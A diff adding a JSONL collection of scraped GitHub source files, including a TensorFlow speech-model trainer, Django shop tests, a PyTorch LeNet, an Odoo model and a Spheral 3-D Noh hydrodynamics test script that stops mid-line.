diff --git "a/4635.jsonl" "b/4635.jsonl" new file mode 100644--- /dev/null +++ "b/4635.jsonl" @@ -0,0 +1,404 @@ +{"seq_id":"70674691098","text":"import json\nimport os\n\nimport numpy as np\nimport sentencepiece as spm\nimport tensorflow as tf\nfrom tensorboard.plugins.hparams import api as hp\nfrom tensorflow.python.estimator.estimator import Estimator\nfrom tensorflow.python.estimator.run_config import RunConfig\n\nfrom .default_params import get_hparams\nfrom .kaldi.inputs import make_input_fn\nfrom .kaldi.spec_augment import SpecAugmentParams\nfrom .models.model import make_model_fn\nfrom .train_loop import SimpleSaver, check_train_loop, make_comp_fn_decrease\n\n\ndef train():\n model_dir = tf.app.flags.FLAGS.model_dir\n # max_steps_without_decrease = tf.app.flags.FLAGS.max_steps_without_decrease\n # min_steps = tf.app.flags.FLAGS.min_steps\n # save_checkpoints_steps = tf.app.flags.FLAGS.save_checkpoints_steps\n train_data_dir = tf.app.flags.FLAGS.train_data_dir\n train_batch_size = tf.app.flags.FLAGS.train_batch_size\n eval_data_dir = tf.app.flags.FLAGS.eval_data_dir\n eval_batch_size = tf.app.flags.FLAGS.eval_batch_size\n # max_steps = tf.app.flags.FLAGS.max_steps\n # eval_steps = tf.app.flags.FLAGS.eval_steps\n # save_summary_steps = tf.app.flags.FLAGS.save_summary_steps\n distribute = tf.app.flags.FLAGS.distribute\n os.makedirs(model_dir, exist_ok=True)\n print(\"model_dir={}\".format(model_dir))\n if distribute:\n strategy = tf.distribute.MirroredStrategy()\n else:\n strategy = None\n session_config = tf.ConfigProto()\n session_config.gpu_options.allow_growth = tf.app.flags.FLAGS.allow_growth\n hparams = get_hparams(model_dir, validate=True)\n hparams_dict = hparams.values()\n hparams_dict_train = hparams_dict.copy()\n hparams_dict_eval = hparams_dict.copy()\n hparams_dict_train['mode'] = 'train'\n hparams_dict_eval['mode'] = 'eval'\n hparams_pb = hp.hparams_pb(hparams_dict_train).SerializeToString()\n hparams_pb_eval = hp.hparams_pb(hparams_dict_eval).SerializeToString()\n with tf.summary.FileWriter(model_dir) as w:\n w.add_summary(hparams_pb)\n with tf.summary.FileWriter(os.path.join(model_dir, 'eval')) as w:\n w.add_summary(hparams_pb_eval)\n\n run_config = RunConfig(\n model_dir=model_dir,\n train_distribute=strategy,\n eval_distribute=strategy,\n save_checkpoints_steps=None,\n save_summary_steps=None,\n session_config=session_config,\n keep_checkpoint_max=max(hparams.epochs_without_improvement + 1, 5)\n )\n\n # Vocab\n with open(tf.app.flags.FLAGS.data_config, 'r') as fp:\n data_config = json.load(fp)\n input_dim = data_config['input_dim']\n vocab = data_config['vocab']\n vocab = np.array(vocab, dtype=np.unicode)\n sentencepiece = data_config['sentencepiece']\n if hparams.sentencepiece_online:\n spmodel = os.path.join(\n os.path.dirname(os.path.abspath(tf.app.flags.FLAGS.data_config)),\n \"sentencepiece-model.model\")\n sp = spm.SentencePieceProcessor()\n sp.LoadOrDie(spmodel)\n else:\n sp = None\n sa_params = SpecAugmentParams.from_params(hparams)\n # Train Data\n train_input_fn = make_input_fn(\n train_data_dir,\n batch_size=train_batch_size,\n shuffle=True,\n num_epochs=1,\n subsample=hparams.subsample,\n independent_subsample=hparams.independent_subsample,\n average=False,\n bucket=hparams.bucket,\n bucket_size=hparams.bucket_size,\n buckets=hparams.buckets,\n sa_params=sa_params,\n input_dim=input_dim,\n sp=sp\n )\n\n # Test Data\n eval_input_fn = make_input_fn(\n eval_data_dir,\n batch_size=eval_batch_size,\n shuffle=False,\n num_epochs=1,\n subsample=hparams.subsample,\n independent_subsample=hparams.independent_subsample,\n average=True,\n bucket=hparams.bucket,\n bucket_size=hparams.bucket_size,\n buckets=hparams.buckets,\n sa_params=None,\n input_dim=input_dim\n )\n\n # Model\n model_fn = make_model_fn(run_config=run_config, vocab=vocab, sentencepiece=sentencepiece)\n estimator = Estimator(\n model_fn=model_fn,\n config=run_config,\n params=hparams)\n print(\"estimator.eval_dir(): {}\".format(estimator.eval_dir()))\n if hparams.model == 'ae':\n metric_name = 'autoencoded_character_error_rate'\n else:\n metric_name = \"character_error_rate\"\n saver_hook = SimpleSaver(estimator.model_dir)\n comp_fn = make_comp_fn_decrease(metric=metric_name)\n estimator.evaluate(\n input_fn=eval_input_fn\n )\n while True:\n estimator.train(\n input_fn=train_input_fn,\n hooks=[saver_hook]\n )\n estimator.evaluate(\n input_fn=eval_input_fn\n )\n if check_train_loop(\n epochs_without_improvement=hparams.epochs_without_improvement,\n lr_scale=hparams.lr_scale,\n estimator=estimator,\n input_fn_train=train_input_fn,\n input_fn_eval=eval_input_fn,\n comp_fn=comp_fn,\n lr_rate=hparams.lr_rate,\n lr_min=hparams.lr_min):\n break\n\n\ndef train_flags(\n config,\n model_dir,\n train_data_dir,\n eval_data_dir,\n # vocab_file,\n data_config,\n train_batch_size,\n eval_batch_size,\n ctc_mode='sparse',\n # save_checkpoints_steps=2000,\n save_summary_steps=100,\n save_summary_steps_slow=400,\n # max_steps=200000,\n allow_growth=False,\n train_batch_acc=1,\n beam_width=100):\n tf.app.flags.DEFINE_string('config', config, 'config file')\n tf.app.flags.DEFINE_string('data_config', data_config, 'data_config file')\n tf.app.flags.DEFINE_string('hparams', '', 'hparam keys/values')\n tf.app.flags.DEFINE_string('model_dir', model_dir, 'Model directory')\n tf.app.flags.DEFINE_string('train_data_dir', train_data_dir, 'Data directory')\n tf.app.flags.DEFINE_string('eval_data_dir', eval_data_dir, 'Data directory')\n # tf.app.flags.DEFINE_string('vocab_file', vocab_file, 'Data directory')\n tf.app.flags.DEFINE_string('ctc_mode', ctc_mode, 'ctc_mode')\n tf.app.flags.DEFINE_integer('train_batch_size', train_batch_size, 'Batch size')\n tf.app.flags.DEFINE_integer('eval_batch_size', eval_batch_size, 'Batch size')\n # tf.app.flags.DEFINE_integer('save_checkpoints_steps', save_checkpoints_steps, 'save_checkpoints_steps')\n # tf.app.flags.DEFINE_integer('max_steps', max_steps, 'max_steps')\n # tf.app.flags.DEFINE_integer('min_steps', 50000, 'Batch size')\n tf.app.flags.DEFINE_integer('beam_width', beam_width, 'beam_width')\n # tf.app.flags.DEFINE_integer('max_steps_without_decrease', 50000, 'Batch size')\n # tf.app.flags.DEFINE_integer('eval_steps', 200, 'max_steps')\n tf.app.flags.DEFINE_integer('save_summary_steps', save_summary_steps, 'max_steps')\n tf.app.flags.DEFINE_integer('save_summary_steps_slow', save_summary_steps_slow, 'max_steps')\n tf.app.flags.DEFINE_integer('shuffle_buffer_size', 1000, 'shuffle_buffer_size')\n tf.app.flags.DEFINE_integer('prefetch_buffer_size', 100, 'prefetch_buffer_size')\n tf.app.flags.DEFINE_integer('num_parallel_calls', 4, 'num_parallel_calls')\n tf.app.flags.DEFINE_bool('debug', default=False, help='debugging')\n tf.app.flags.DEFINE_bool('distribute', default=False, help='distribute')\n tf.app.flags.DEFINE_bool('allow_growth', default=allow_growth, help='allow_growth')\n","repo_name":"bstriner/ctc-process","sub_path":"asr_vae/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":7487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"72643355736","text":"import pickle\nimport random\n\nfrom tools.csv_reader import read_csv\n\n\ndef map_half_life(half_life):\n if half_life != \"STABLE\":\n return 1 / float(half_life)\n else:\n return 1.0\n\n\ndef fetchData():\n data = read_csv(\"livechart.csv\")\n val_data = [d for d in data if not d[\"half_life_sec\"] == \"\"]\n needed_data = [\n {\n \"symbol\": d[\"symbol\"],\n \"z\": float(d[\"z\"]),\n \"n\": float(d[\"n\"]),\n \"half_life\": map_half_life(d[\"half_life_sec\"]),\n \"SF\": 1.0 if \"A\" in (d[\"decay_1\"], d[\"decay_2\"], d[\"decay_3\"]) else 0.0,\n }\n for d in val_data\n ]\n\n return needed_data\n\n\ndef prepareData(data: list[dict]):\n random.shuffle(data)\n train = data[600:]\n test = data[:600]\n train_x = [(d[\"z\"], d[\"n\"], d[\"half_life\"]) for d in train]\n train_y = [(d[\"SF\"]) for d in train]\n test_x = [(d[\"z\"], d[\"n\"], d[\"half_life\"]) for d in test]\n test_y = [(d[\"SF\"]) for d in test]\n return train_x, train_y, test_x, test_y\n\n\nwith open(\"model.pkl\", \"rb\") as file:\n data = fetchData()\n train_x, train_y, test_x, test_y = prepareData(data)\n\n model = pickle.load(file)\n for i in range(0, 9):\n test_sample_x = test_x[i]\n test_sample_y = test_y[i]\n prediction = model.predict([test_sample_x])\n print(round(prediction[0][0]))\n print(test_sample_y)\n","repo_name":"astropio3000/StableElements","sub_path":"app2.py","file_name":"app2.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"32024497508","text":"class Solution:\n def decodeMessage(self, key: str, message: str) -> str:\n m = {' ': ' '}\n count = 97\n for c in key:\n if c in m:\n continue\n m[c] = chr(count)\n count += 1\n return ''.join([m[c] for c in message])\n","repo_name":"Thive-N/leetcode","sub_path":"python/2325.py","file_name":"2325.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"42958537746","text":"from fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\n\napp = FastAPI()\n\n\norigins = [\"http://localhost\", \"http://0.0.0.0\"]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n allow_credentials=True,\n allow_methods=[\"GET\", \"POST\", \"OPTIONS\"],\n allow_headers=[\"*\"],\n)\n","repo_name":"mgao6767/legao","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"68"} +{"seq_id":"24680200326","text":"# 1. 회문 문자열 검사\n\ns =\"level\"\n\ns=s.upper()\n\nsize = len(s)\n\nfor i in range(size//2):\n if s[i] != s[-1-i]:\n print(\"NO\")\n break\n else:\n print(\"YES\")\n break\n\n\n#s==s[::-1] ","repo_name":"Johyeyoung/Algorithm-Study","sub_path":"김윤정/탐색&시뮬레이션/윤정_탐색_인프런1번.py","file_name":"윤정_탐색_인프런1번.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"72887418135","text":"from streetviewext import sv_among_route\nfrom dotenv import load_dotenv\nimport os\n\nload_dotenv()\n\ndir_api = os.environ.get('DIR_API')\nview_api = os.getenv('VIEW_API')\n\nprint(dir_api)\n\nsv_among_route(\n origin = \"Section 2, Xinglong Rd, Wenshan District, Taipei City, 116\", \n destination=\"No. 115, Section 3, Xinglong Rd, Wenshan District, Taipei City, 116\",\n mode=\"bicycling\",\n dir_key=dir_api, \n street_key=view_api, \n save_destination=\"data\",\n save_start_num=2,\n)","repo_name":"hhe1ibeb/streetviewext","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"11515582361","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 14 21:42:02 2022\n\n@author: rmh_r\n\"\"\"\n\nimport sqlite3\nfrom random import sample\n\ndef read_all_cards():\n result = conn.execute(\"SELECT * FROM computer\")\n return result.fetchall()\n\ndef shuffle_pack(cards): \n #shuffled_deck = random.shuffle(cards) #shuffle does not work on a list of tuples\n shuffled_deck = sample(cards, k=len(cards))\n return shuffled_deck\n\ndef take_top_card (deck):\n if len (deck) > 0:\n return deck.pop()\n else:\n return 'empty'\n\ndef winning_card (first_card, second_card, category):\n None\n if first_card[category] == second_card[category]:\n return [0,0]\n elif first_card[category] > second_card[category]:\n return [0,1]\n elif first_card[category] < second_card[category]:\n return [1,0]\n else:\n return 'error' #not strictly necessary but good practice to capture all \n\nconn = sqlite3.connect(\"computer_cards.db\")\n\ndeck = shuffle_pack (read_all_cards())\n\nconn.close()\n\nfirst_card = take_top_card(deck)\nsecond_card = take_top_card(deck)\n\nplayer1_chooses = True\n\ntotals = [0,0]\n\nwhile first_card != 'empty' and second_card != 'empty':\n \n player1_chooses = not (player1_chooses) # toggle player who chooses\n \n #print (type (deck))\n #print (deck)\n \n if player1_chooses: \n print ('player 1 Your card is : ', first_card)\n else: \n print ('player 2 Your card is : ', first_card)\n \n category = int (input ('choose your category 1,2,3,4: '))\n \n print ('Next Card: ',second_card)\n\n print (first_card[category])\n print (second_card[category])\n \n #this is redundant but I cant see a better way\n first_card = take_top_card(deck)\n second_card = take_top_card(deck)\n \n if player1_chooses :\n scores = winning_card (first_card, second_card, category)\n else:\n scores = winning_card (second_card, first_card, category)\n \n totals[0], totals[1] = totals[0] + scores[0], totals[1] + scores[1] \n print ('score:',totals)\n\nprint ('Not Enough cards to play again')\n","repo_name":"rickhardy/pythoncourses","sub_path":"Programming103/DB2.py","file_name":"DB2.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"21978434264","text":"from soft.constant import SCRET_KEY, MYSQL_ALCHEMY\n\n\nclass Config:\n SQLALCHEMY_DATABASE_URI = MYSQL_ALCHEMY\n SQLALCHEMY_TRACK_MODIFICATIONS = True # /home/fred/Dropbox/Divers Frederic\n # Menoud/dev/noctuelle/venv/lib/python3.8/site-packages/flask_sqlalchemy/__init__.py:872: FSADeprecationWarning:\n # SQLALCHEMY_TRACK_MODIFICATIONS adds significant overhead and will be disabled by default in the future. Set it to\n # True or False to suppress this warning. warnings.warn(FSADeprecationWarning(\n SECRET_KEY = SCRET_KEY\n\n\nclass CKEditorConfig:\n CKEDITOR_PKG_TYPE = 'full'\n ","repo_name":"Fred973/GestionLocation","sub_path":"soft/src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"21775089030","text":"def build_person(first_name,last_name,age=None):\n person = {'first':first_name,'last':last_name}\n if age:\n # 增加字典的key与value\n person['age'] = age\n return person\n\n\nname = build_person('liu','bo',age=30)\n\nprint(name)","repo_name":"bobo4u/hm_python","sub_path":"B站hm课程作业/bobo2_0819.py","file_name":"bobo2_0819.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"74874946777","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass LeNet(nn.Module):\n \"\"\"https://github.com/anonymous-108794/nnet-compression/blob/master/nnet/models/lenet5.py\"\"\"\n\n def __init__(self, input_shape, n_output, *args, **kwargs):\n super(LeNet, self).__init__()\n assert len(input_shape) == 3\n self.pool = nn.MaxPool2d(\n kernel_size=2, stride=2, padding=0\n )\n self.conv_layers = nn.ModuleList()\n self.conv_layers.append(\n nn.Conv2d(in_channels=1, out_channels=20, kernel_size=5, stride=1, padding=0)\n )\n self.conv_layers.append(\n nn.Conv2d(in_channels=20, out_channels=50, kernel_size=5, stride=1, padding=0)\n )\n\n with torch.no_grad():\n x = torch.ones([1] + input_shape)\n for conv_layer in self.conv_layers:\n x = self.pool(conv_layer(x))\n x = x.view(x.shape[0], -1)\n n_in = x.shape[-1]\n self.linear_layers = nn.ModuleList()\n self.linear_layers.append(\n nn.Linear(n_in, 500, bias=True)\n )\n self.linear_layers.append(\n nn.Linear(500, 10, bias=True)\n )\n\n def forward(self, x):\n assert x.dim() == 4\n for conv_layer in self.conv_layers:\n x = self.pool(conv_layer(x))\n x = x.view(x.shape[0], -1)\n for i, linear_layer in enumerate(self.linear_layers):\n x = linear_layer(x)\n if i < len(self.linear_layers) - 1:\n x = F.relu(x)\n assert x.dim() == 2\n x = F.softmax(x, dim=-1)\n return x\n\n\nif __name__ == '__main__':\n\n def test_lenet():\n lenet = LeNet([1, 28, 28], 10, [600])\n x = torch.ones(3, 1, 28, 28)\n lenet(x)","repo_name":"kylehkhsu/role-of-data","sub_path":"src/model/base/lenet.py","file_name":"lenet.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"38699509170","text":"# Load the model\nfrom tensorflow.keras.models import Sequential, save_model, load_model\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n#input_train = np.load('test_arr.npy', allow_pickle=True)\ninput_train = np.load('liste.npy', allow_pickle=True)\n\nprint(\"hi\")\nprint(input_train[0].shape)\n\nfilepath = './saved_model_test'\nmodel = load_model(filepath, compile = True)\n\n# A few random samples\nuse_samples = [5, 38, 3939, 27389]\nsamples_to_predict = []\n\n# Generate plots for samples\nfor x in range(4):\n # Generate a plot\n reshaped_image = input_train[x].reshape((28, 28))\n plt.imshow(reshaped_image)\n plt.show()\n # Add sample to array for prediction\n samples_to_predict.append(input_train[x])\n\n# Convert into Numpy array\nsamples_to_predict = np.array(samples_to_predict)\nprint(\"to predict shape\")\nprint(samples_to_predict.shape)\n\n# Generate predictions for samples\npredictions = model.predict(samples_to_predict)\nprint(predictions)\n\n# Generate arg maxes for predictions\nclasses = np.argmax(predictions, axis = 1)\nprint(classes)","repo_name":"felixbastian/Workout_Exercise_recognizer","sub_path":"human_pose_3d_demo/testTensorFlow2.py","file_name":"testTensorFlow2.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"3883022089","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import fields, models, api\n\n\nclass StockPicking(models.Model):\n _inherit = \"stock.picking\"\n origin_reference_in = fields.Many2one('purchase.order', string='Source Document',\n compute=\"origin_compute\", readonly=True,\n help=\"Reference of the document\")\n origin_reference_out = fields.Many2one('sale.order', string='Source Document',\n compute=\"origin_compute\", readonly=True,\n help=\"Reference of the document\")\n\n @api.depends(\"origin\")\n def origin_compute(self):\n for item in self:\n if item.origin:\n order_id = item.origin\n item.origin_reference_in = item.env['purchase.order'].search([('name', '=', order_id)])\n item.origin_reference_out = item.env['sale.order'].search([('name', '=', order_id)])\n","repo_name":"tienthanhtk115/My-odoo-module","sub_path":"trace_source_document/models/stock_picking.py","file_name":"stock_picking.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"7225998069","text":"from string import ascii_letters\nfrom random import choices\n\nfrom django.contrib.auth.models import User, Permission\nfrom django.test import TestCase\nfrom django.urls import reverse\n\nfrom mysite import settings\nfrom .models import Product, Order\nfrom shopapp.utils import add_two_numbers\n\n\nclass AddTwoNumbersTestCase(TestCase):\n def test_add_two_numbers(self):\n result = add_two_numbers(2, 3)\n self.assertEquals(result, 5)\n\nclass ProductCreateViewTestCase(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user = User.objects.create_superuser('username', 'Pas$w0rd')\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n cls.user.delete()\n\n def setUp(self) -> None:\n self.client.force_login(self.user)\n self.product_name = \"\".join(choices(ascii_letters, k=10))\n Product.objects.filter(name=self.product_name).delete()\n def test_create_product(self):\n response = self.client.post(\n reverse(\"shopapp:product_create\"),\n {\n \"name\": self.product_name,\n \"price\": \"123.34\",\n \"description\": \"A good table\",\n \"discount\": \"10\",\n }, HTTP_USER_AGENT='Mozilla/5.0'\n )\n self.assertEquals(response.status_code, 302)\n self.assertTrue(\n Product.objects.filter(name=self.product_name).exists()\n )\n\nclass ProductDetailsViewTestCase(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n user = User.objects.create_user(username=\"testuser\", password=\"testpassword\")\n cls.product = Product.objects.create(name=\"Best Product\", created_by=user)\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n cls.product.delete()\n\n\n def test_get_product(self):\n response = self.client.get(\n reverse(\"shopapp:product_details\", kwargs={\"pk\": self.product.pk}),\n HTTP_USER_AGENT='Mozilla/5.0'\n )\n self.assertEqual(response.status_code, 200)\n\n def test_get_product_end_check_content(self):\n response = self.client.get(\n reverse(\"shopapp:product_details\", kwargs={\"pk\": self.product.pk}),\n HTTP_USER_AGENT='Mozilla/5.0'\n )\n self.assertContains(response, self.product.name)\n\nclass ProductsListViewTestCase(TestCase):\n fixtures = [\n 'users-fixture.json',\n 'products-fixture.json',\n ]\n\n def test_products(self):\n expected_products = Product.objects.filter(archived=False).all()\n\n response = self.client.get(reverse(\"shopapp:products_list\"), HTTP_USER_AGENT='Mozilla/5.0')\n\n self.assertQuerysetEqual(\n response.context[\"products\"],\n expected_products,\n transform=lambda p: p,\n ordered=False\n )\n\n self.assertTemplateUsed(response, 'shopapp/products-list.html')\n\nclass OrdersListViewTestCase(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user = User.objects.create_user(username=\"bob_test\", password=\"Pas$w0rd\")\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n cls.user.delete()\n\n def setUp(self) -> None:\n self.client.force_login(self.user)\n\n def test_orders_view(self):\n response = self.client.get(reverse(\"shopapp:orders_list\"), HTTP_USER_AGENT='Mozilla/5.0')\n self.assertContains(response, \"Orders\")\n\n def test_orders_view_not_authenticated(self):\n self.client.logout()\n response = self.client.get(reverse(\"shopapp:orders_list\"), HTTP_USER_AGENT='Mozilla/5.0')\n self.assertEqual(response.status_code, 302)\n self.assertIn(str(settings.LOGIN_URL), response.url)\n\nclass ProductsExportViewTestCase(TestCase):\n fixtures = [\n 'users-fixture.json',\n 'products-fixture.json',\n 'orders-fixture.json',\n ]\n\n def test_get_products_view(self):\n response = self.client.get(reverse(\"shopapp:products-export\"), HTTP_USER_AGENT='Mozilla/5.0')\n self.assertEqual(response.status_code, 200)\n products = Product.objects.order_by(\"pk\").all()\n expected_data = [\n {\n \"pk\": product.pk,\n \"name\": product.name,\n \"price\": product.price,\n \"archived\": product.archived,\n }\n for product in products\n ]\n products_data = response.json()\n self.assertEqual(\n products_data[\"products\"],\n expected_data,\n )\n\n\nclass OrderDetailViewTestCase(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user = User.objects.create_user(username='testuser', password='testpassword')\n permission = Permission.objects.get(codename='view_order')\n cls.user.user_permissions.add(permission)\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n cls.user.delete()\n\n def setUp(self):\n self.client.force_login(self.user)\n self.order = Order.objects.create(user=self.user, delivery_address='Test Address', promocode='TESTCODE')\n\n def tearDown(self):\n self.order.delete()\n\n def test_order_details(self):\n response = self.client.get(\n reverse('shopapp:order_details', kwargs={'pk': self.order.pk}),\n HTTP_USER_AGENT='Mozilla/5.0')\n\n self.assertContains(response, self.order.delivery_address)\n self.assertContains(response, self.order.promocode)\n self.assertEqual(response.context['order'], self.order)\n\nclass OrdersExportViewTestCase(TestCase):\n fixtures = [\n 'users-fixture.json',\n 'products-fixture.json',\n 'orders-fixture.json',\n ]\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user = User.objects.create_user(username='testuser', password='testpassword')\n permission = Permission.objects.get(codename='view_order')\n cls.user.user_permissions.add(permission)\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n cls.user.delete()\n\n def setUp(self):\n self.client.force_login(self.user)\n\n def test_get_orders_view(self):\n response = self.client.get(reverse(\"shopapp:orders-export\"), HTTP_USER_AGENT='Mozilla/5.0')\n self.assertEqual(response.status_code, 200)\n orders = Order.objects.all()\n expected_data = [\n {\n \"id\": order.id,\n \"delivery_address\": order.delivery_address,\n \"promocode\": order.promocode,\n \"user_id\": order.user_id,\n \"product_ids\": list(order.products.values_list('id', flat=True))\n }\n for order in orders\n ]\n orders_data = response.json()\n self.assertEqual(\n orders_data[\"orders\"],\n expected_data,\n )","repo_name":"DianaKorkina/dpo_python_django","sub_path":"mysite/shopapp/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":6964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"10978784915","text":"#-------------------------------------------------------------------------------\n# The spherical Noh test case.\n#\n# W.F. Noh 1987, JCP, 72, 78-120.\n#-------------------------------------------------------------------------------\nfrom math import *\nfrom Spheral import *\nfrom SpheralTestUtilities import *\nfrom SpheralGnuPlotUtilities import *\nfrom findLastRestart import *\n\n# Load the mpi module if we\"re parallel.\nimport loadmpi\nmpi, procID, numProcs = loadmpi.loadmpi()\n\nfrom GenerateNodeDistribution3d import *\n\ntitle(\"3-D integrated hydro test -- spherical Noh problem\")\n\n#-------------------------------------------------------------------------------\n# Generic problem parameters\n#-------------------------------------------------------------------------------\ncommandLine(NodeListConstructor = SphNodeList3d,\n\n seed = \"lattice\",\n\n nx = 40,\n ny = 40,\n nz = 40,\n\n rho1 = 1.0,\n eps1 = 0.0,\n vr1 = -1.0,\n nPerh = 2.01,\n\n rmin = 0.0,\n rmax = 1.0,\n\n gamma = 5.0/3.0,\n mu = 1.0,\n #Qconstructor = MonaghanGingoldViscosity3d,\n Qconstructor = TensorMonaghanGingoldViscosity3d,\n IntegratorConstructor = PredictorCorrectorIntegrator3d,\n Cl = 1.0,\n Cq = 0.75,\n Qlimiter = True,\n balsaraCorrection = False,\n epsilon2 = 1e-2,\n negligibleSoundSpeed = 1e-5,\n csMultiplier = 1e-4,\n hmin = 1e-5,\n hmax = 1.0,\n hminratio = 0.05,\n HsmoothFraction = 0.0,\n cfl = 0.5,\n XSPH = True,\n epsilonTensile = 0.0,\n nTensile = 8,\n compatibleEnergy = True,\n gradhCorrection = False,\n\n HEvolution = Hydro3d.HEvolutionType.IdealH,\n limitIdealH = False,\n\n neighborSearchType = Neighbor3d.NeighborSearchType.GatherScatter,\n numGridLevels = 20,\n topGridCellSize = 2.0,\n origin = Vector3d(0.0, 0.0, 0.0),\n\n goalTime = 0.6,\n dt = 0.0001,\n dtMin = 1.0e-5,\n dtMax = None,\n dtGrowth = 2.0,\n dtSample = 0.1,\n maxSteps = 10,\n statsStep = 10,\n smoothIters = 0,\n sumForMassDensity = Hydro3d.MassDensityType.RigorousSumDensity,\n\n restoreCycle = None,\n restartStep = 20,\n\n graphics = \"gnu\",\n )\n\nxmin = (0.0, 0.0, 0.0)\nxmax = (1.0, 1.0, 1.0)\n\ndataDir = \"Noh-spherical-3d-%ix%ix%i\" % (nx, ny, nz)\nrestartDir = dataDir + \"/restarts\"\nvisitDir = dataDir + \"/visit\"\nrestartBaseName = restartDir + \"/Noh-spherical-3d-%ix%ix%i\" % (nx, ny, nz)\n\n#-------------------------------------------------------------------------------\n# Check if the necessary output directories exist. If not, create them.\n#-------------------------------------------------------------------------------\nimport os, sys\nif mpi.rank == 0:\n if not os.path.exists(restartDir):\n os.makedirs(restartDir)\n if not os.path.exists(visitDir):\n os.makedirs(visitDir)\nmpi.barrier()\n\n#-------------------------------------------------------------------------------\n# If we're restarting, find the set of most recent restart files.\n#-------------------------------------------------------------------------------\nrestoreCycle = None # findLastRestart(restartBaseName)\n\n#-------------------------------------------------------------------------------\n# Material properties.\n#-------------------------------------------------------------------------------\neos = GammaLawGasMKS3d(gamma, mu)\n\n#-------------------------------------------------------------------------------\n# Interpolation kernels.\n#-------------------------------------------------------------------------------\nWT = TableKernel3d(BSplineKernel3d(), 1000)\nWTPi = TableKernel3d(BSplineKernel3d(), 1000)\noutput(\"WT\")\noutput(\"WTPi\")\nkernelExtent = WT.kernelExtent()\n\n#-------------------------------------------------------------------------------\n# Make the NodeList.\n#-------------------------------------------------------------------------------\nnodes1 = NodeListConstructor(\"nodes\", eos, WT, WTPi)\noutput(\"nodes1\")\nnodes1.HsmoothFraction = HsmoothFraction\nnodes1.XSPH = XSPH\nnodes1.nodesPerSmoothingScale = nPerh\nnodes1.epsilonTensile = epsilonTensile\nnodes1.nTensile = nTensile\nnodes1.hmin = hmin\nnodes1.hmax = hmax\nnodes1.hminratio = hminratio\noutput(\"nodes1.HsmoothFraction\")\noutput(\"nodes1.nodesPerSmoothingScale\")\noutput(\"nodes1.epsilonTensile\")\noutput(\"nodes1.nTensile\")\noutput(\"nodes1.XSPH\")\noutput(\"nodes1.hmin\")\noutput(\"nodes1.hmax\")\noutput(\"nodes1.hminratio\")\n\n#-------------------------------------------------------------------------------\n# Construct the neighbor object.\n#-------------------------------------------------------------------------------\nneighbor1 = NestedGridNeighbor3d(nodes1,\n neighborSearchType,\n numGridLevels,\n topGridCellSize,\n origin,\n kernelExtent)\nnodes1.registerNeighbor(neighbor1)\n\n#-------------------------------------------------------------------------------\n# Set the node properties.\n#-------------------------------------------------------------------------------\nif restoreCycle is None:\n if numProcs > 1:\n from ParMETISDistributeNodes import distributeNodes3d\n else:\n from DistributeNodes import distributeNodes3d\n generator = GenerateNodeDistribution3d(nx, ny, nz, rho1, seed,\n xmin = xmin,\n xmax = xmax,\n rmin = rmin,\n rmax = rmax,\n nNodePerh = nPerh)\n distributeNodes3d((nodes1, generator))\n output(\"mpi.reduce(nodes1.numInternalNodes, mpi.MIN)\")\n output(\"mpi.reduce(nodes1.numInternalNodes, mpi.MAX)\")\n output(\"mpi.reduce(nodes1.numInternalNodes, mpi.SUM)\")\n\n # Set node specific thermal energies\n nodes1.specificThermalEnergy(ScalarField3d(\"tmp\", nodes1, eps1))\n\n # Set node velocities\n for nodeID in xrange(nodes1.numNodes):\n nodes1.velocity()[nodeID] = nodes1.positions()[nodeID].unitVector()*vr1\n\n#-------------------------------------------------------------------------------\n# Construct a DataBase to hold our node list\n#-------------------------------------------------------------------------------\ndb = 